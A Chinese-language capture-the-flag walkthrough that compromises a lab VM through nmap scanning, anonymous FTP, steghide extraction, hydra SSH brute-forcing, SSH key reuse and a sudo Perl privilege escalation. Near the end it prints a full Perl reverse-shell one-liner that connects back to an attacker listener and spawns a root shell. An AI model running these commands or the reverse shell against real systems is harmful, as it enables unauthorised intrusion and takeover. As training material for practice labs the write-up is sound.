文章目录
一、信息收集
常规的主机发现以及端口扫描,扫描自己所在的网段。
nmap 192.168.216.0/24
nmap -A -v -T4 -p 1-65535 192.168.216.145
可以看到服务器开启了80端口和22ssh的端口和21端口以及一些服务器的信息,网站搭建的中间件以及版本等等信息。
二、漏洞发现
访问服务器的80端口
一个非常普通的网站,在目前来看并不能发现什么业务功能,页面提示很简单。接下来对网站进行目录扫描,看看能不能发现有信息的文件。
扫描的结果有2个页面,依次访问看看是否能够收集有用的信息
拉到源代码的下面发现了一个提示,还有一个叫S3cr3t-T3xt的隐藏目录,访问看一下。
查看了源代码后发现了一个密钥 3xtr4ctd4t4
在服务器开放的21端口中有一张图片,打算下载下来看看
网下查找了一下信息,发现可以使用匿名登录到ftp服务器,于是使用kali连接到服务器上将图片下载下来
ftp 192.168.216.145
输入匿名账号:anonymous
密码为空即可
使用命令get trytofind.jpg
图片名字提示尝试去寻找,因此我们来分析这一张图片
网上查找了资料后,发现可以使用steghide工具来对图片进行查看分析,并且该工具能提取图片中隐藏的文件信息。
steghide info trytofind.jpg
结合上面取得的密钥,发现图片隐藏了一个data.txt的文件
steghide extract -sf trytofind.jpg
将文件提取出来查看内容
所以猜测ssh应该有弱口令的漏洞,用户是renu,使用kali的hydra模块对其进行爆破
字典可以自己找,也可以用kali上面自带的字典,路径就在上面写的路径上面,可能需要解压才能使用
三、漏洞利用
使用爆破出来的账号和密码连接到服务器
ssh renu@192.168.216.145
成功连接到服务器
获取到第一个flag
四、权限提升
第一步想使用sudo进行提权,但是当前这个用户并没有su的权限
接着在/home目录下发现了另外的一个用户lily,尝试切换到此用户进行提权
首先查看了一下history历史命令,发现曾经生成过公钥私钥,并且将公钥拷贝到了lily用户中,生成公钥时,也会在自己的目录下生成公钥和私钥。查看这2个用户下的公钥是否一致。
对比后发现一致,因此可以直接在renu用户下使用ssh切换到lily用户下,并且不需要密钥。
ssh lily@127.0.0.1
切换成功,拿到了第2个flag ,但是还不是root权限
继续查看history命令,使用了sudo -l,
不能使用su命令切换到root权限,但是可以使用perl脚本,因此可以使用perl反弹shell,因为perl不需要密码就可以使用sudo,所以反弹过来的shell也是有root权限的。
首先在kali开启一个nc监听7777端口
nc -lnvp 7777
然后在lily用户使用perl脚本连接到7777端口进行反弹shell
sudo perl -e 'use Socket;$i="192.168.216.128";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
成功拿下root权限 !
最后的flag是隐藏文件,需要使用ls -a才能看到,拿下最后一个flag!!!完结!!!
总结
没思路时多看看源代码,尝试进行爆破,端口全都要注意
图片可以嵌入隐藏数据,strings <图片>,分析规律,使用steghide工具来提取图片中的数据。
密钥发送到其他用户下可以不用密码可以使用ssh连接到其他用户
sudo -l;sudo -s;history;这些命令可以分析到一些细节,权限利用